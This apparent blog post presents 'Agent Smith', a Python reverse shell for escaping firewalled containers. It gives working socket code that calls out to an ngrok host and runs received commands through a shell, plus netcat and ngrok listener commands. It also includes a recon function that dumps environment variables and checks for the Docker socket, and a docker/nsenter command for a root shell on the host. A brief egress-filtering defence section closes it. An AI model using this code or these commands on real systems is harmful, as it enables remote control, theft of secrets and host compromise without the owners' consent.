Logo

Agent Smith: Building a Python Reverse Proxy for Container Breakouts

Sometimes you find yourself inside a container with no way out. No SSH, no inbound ports allowed, and strict firewall rules. The only way to communicate with the outside world is to have the container call you.

This is where Agent Smith comes in.

It is a stealthy reverse shell designed to bypass restrictive firewalls by piggybacking on allowed outbound traffic. It establishes a persistent, encrypted tunnel out of the target environment and hands you a root shell.

The Architecture of Escape

Agent Smith operates on a simple premise: Outbound traffic is rarely as strictly monitored as inbound traffic.

Most cloud environments allow outbound TCP connections on port 443 (HTTPS) or random high ports. By establishing a connection from the victim to an attacker-controlled server (I use ngrok for this), we bypass the firewall entirely.

┌─────────────────┐    ┌──────────────┐    ┌─────────────────┐    ┌──────────────┐
│   Agent Smith   │───▶│    ngrok     │───▶│  Your Machine   │───▶│   netcat     │
│   Container     │    │   Tunnel     │    │   localhost     │    │  Listener    │
│                 │    │              │    │                 │    │              │
│ Python reverse  │    │ 7.tcp.eu.    │    │ Port 9999       │    │ nc -l 9999   │
│ shell connects  │    │ ngrok.io     │    │                 │    │              │
│ OUT to ngrok    │    │ :16457       │    │                 │    │              │
└─────────────────┘    └──────────────┘    └─────────────────┘    └──────────────┘

1. The Payload

The core is a Python script that creates a socket connection to your listening server. It then sits in a loop, receiving commands, executing them locally via subprocess, and sending the output back.

import socket
import subprocess
import os

def start_shell():
    # Connect to the ngrok tunnel
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # TCP Keepalive is crucial for maintaining the connection through NATs/Firewalls
    s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
    s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 60)

    s.connect(("7.tcp.eu.ngrok.io", 16457))

    s.send(b"Agent Smith Connected.\n")

    # The Loop
    while True:
        # Receive command
        command = s.recv(1024).decode()

        if command.lower().strip() == 'exit':
            break

        # Execute command locally
        try:
            output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
        except subprocess.CalledProcessError as e:
            output = str(e.output).encode()

        # Send result back
        s.send(output)

This script does three key things:

  1. Persistence: Starts a connection to our C2 (Command & Control) server.
  2. Keepalive: Uses TCP Keepalive packets to prevent the connection from being dropped by intermediate load balancers.
  3. Shell: Provides a functional remote shell to execute commands.

2. The Tunnel

On your local machine, you set up the listening infrastructure.

Step 1: Start the listener

nc -l 9999

Step 2: Start the tunnel

ngrok tcp 9999

This gives you a public URL (e.g, 7.tcp.eu.ngrok.io:16457) that forwards traffic to your local port 9999.

Capabilities

Once inside, you have full shell access. In a container environment, your first priority is reconnaissance.

Silent Reconnaissance

Before even establishing the shell, Agent Smith can perform "Silent Recon" to gather data and dump it to a file.

def silent_recon():
    recon_data = {
        "network": {},
        "env": dict(os.environ),
        "fs": {}
    }

    # Check for Docker Socket (Critical for breakout)
    if os.path.exists('/var/run/docker.sock'):
        recon_data["docker_socket"] = "Available"

    # Read network routes
    with open('/proc/net/route', 'r') as f:
        recon_data["network"]["routes"] = f.read()

    return recon_data

The Breakout

If we find a Docker socket (common in CI/CD pipelines), we can use it to escape the container and compromise the host.

docker run --rm --privileged --net=host --pid=host \
  nicolaka/netshoot nsenter -t 1 -m -u -n -p /bin/sh

This command:

  1. Spins up a new container (netshoot) with full privileges.
  2. Uses nsenter to enter the host's namespaces (PID 1).
  3. Drops us into a root shell on the underlying node, bypassing all container isolation.

Defense and Conclusion

This tool demonstrates why egress filtering is critical.

To stop Agent Smith:

  1. Block Outbound Connections: Default deny all outbound traffic. Whitelist only necessary APIs (AWS, Docker Hub).
  2. Monitor Long-Lived Connections: A single TCP connection staying open for hours to an unknown IP is a massive red flag.
  3. Don't Mount Docker Socket: Never mount /var/run/docker.sock into a build container unless absolutely necessary.

What This Means

Agent Smith proves that inside the matrix of cloud infrastructure, if you control the code execution, you control the reality. Egress security is often overlooked but remains one of the most effective barriers against persistent threats in containerized environments.